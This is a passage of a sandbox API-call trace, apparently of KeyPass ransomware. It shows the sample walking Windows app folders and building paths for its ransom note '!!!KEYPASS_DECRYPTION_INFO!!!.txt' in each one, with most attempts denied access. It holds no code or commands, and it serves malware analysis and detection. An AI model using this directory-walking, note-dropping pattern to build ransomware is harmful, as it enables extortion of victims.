wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.632] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.632] GetLastError () returned 0x3f0 [0289.632] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.632] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.636] GetLastError () returned 0x5 [0289.636] GetLastError () returned 0x5 [0289.637] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.637] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.637] GetLastError () returned 0x3f0 [0289.637] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.637] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.638] GetLastError () returned 0x5 [0289.638] GetLastError () returned 0x5 [0289.638] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.638] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.638] GetLastError () returned 0x3f0 [0289.638] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.638] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.638] GetLastError () returned 0x5 [0289.638] GetLastError () returned 0x5 [0289.638] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.639] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.639] GetLastError () returned 0x3f0 [0289.639] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.639] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.639] GetLastError () returned 0x5 [0289.639] GetLastError () returned 0x5 [0289.639] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.639] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.639] GetLastError () returned 0x3f0 [0289.639] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.639] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.639] GetLastError () returned 0x5 [0289.639] GetLastError () returned 0x5 [0289.640] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.640] GetLastError () returned 0x3f0 [0289.640] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.640] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.640] GetLastError () returned 0x5 [0289.641] GetLastError () returned 0x5 [0289.641] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.641] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.641] GetLastError () returned 0x3f0 [0289.641] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.641] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.646] GetLastError () returned 0x5 [0289.646] GetLastError () returned 0x5 [0289.647] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.647] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.647] GetLastError () returned 0x3f0 [0289.647] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.647] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.647] GetLastError () returned 0x5 [0289.647] GetLastError () returned 0x5 [0289.647] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.647] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.647] GetLastError () returned 0x3f0 [0289.647] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.647] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.648] GetLastError () returned 0x5 [0289.648] GetLastError () returned 0x5 [0289.648] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.648] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.648] GetLastError () returned 0x3f0 [0289.648] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.648] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.649] GetLastError () returned 0x5 [0289.649] GetLastError () returned 0x5 [0289.649] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.649] GetLastError () returned 0x3f0 [0289.649] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.649] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.649] GetLastError () returned 0x5 [0289.649] GetLastError () returned 0x5 [0289.649] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.649] GetLastError () returned 0x3f0 [0289.649] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.649] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.650] GetLastError () returned 0x5 [0289.650] GetLastError () returned 0x5 [0289.650] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.650] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.650] GetLastError () returned 0x3f0 [0289.650] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.650] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.650] GetLastError () returned 0x5 [0289.650] GetLastError () returned 0x5 [0289.650] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.650] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.650] GetLastError () returned 0x3f0 [0289.650] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.650] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.651] GetLastError () returned 0x5 [0289.651] GetLastError () returned 0x5 [0289.651] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.651] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.651] GetLastError () returned 0x3f0 [0289.651] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.651] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.652] GetLastError () returned 0x5 [0289.652] GetLastError () returned 0x5 [0289.652] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.652] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.652] GetLastError () returned 0x3f0 [0289.652] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.652] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.652] GetLastError () returned 0x5 [0289.652] GetLastError () returned 0x5 [0289.652] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.652] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.652] GetLastError () returned 0x3f0 [0289.652] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.652] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.653] GetLastError () returned 0x5 [0289.653] GetLastError () returned 0x5 [0289.653] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.653] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.653] GetLastError () returned 0x3f0 [0289.653] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.653] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.654] GetLastError () returned 0x5 [0289.654] GetLastError () returned 0x5 [0289.654] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.654] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.654] GetLastError () returned 0x3f0 [0289.654] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.655] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.655] GetLastError () returned 0x5 [0289.655] GetLastError () returned 0x5 [0289.655] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.655] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.655] GetLastError () returned 0x3f0 [0289.655] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.655] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.656] GetLastError () returned 0x5 [0289.656] GetLastError () returned 0x5 [0289.656] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.656] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.656] GetLastError () returned 0x3f0 [0289.656] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.656] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.656] GetLastError () returned 0x5 [0289.656] GetLastError () returned 0x5 [0289.657] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.657] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.657] GetLastError () returned 0x3f0 [0289.657] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.657] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.658] GetLastError () returned 0x5 [0289.658] GetLastError () returned 0x5 [0289.658] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.658] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.658] GetLastError () returned 0x3f0 [0289.658] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.658] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.675] GetLastError () returned 0x5 [0289.675] GetLastError () returned 0x5 [0289.675] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.676] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.676] GetLastError () returned 0x3f0 [0289.676] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.676] PathFileExistsW (pszPath="C:\\Program 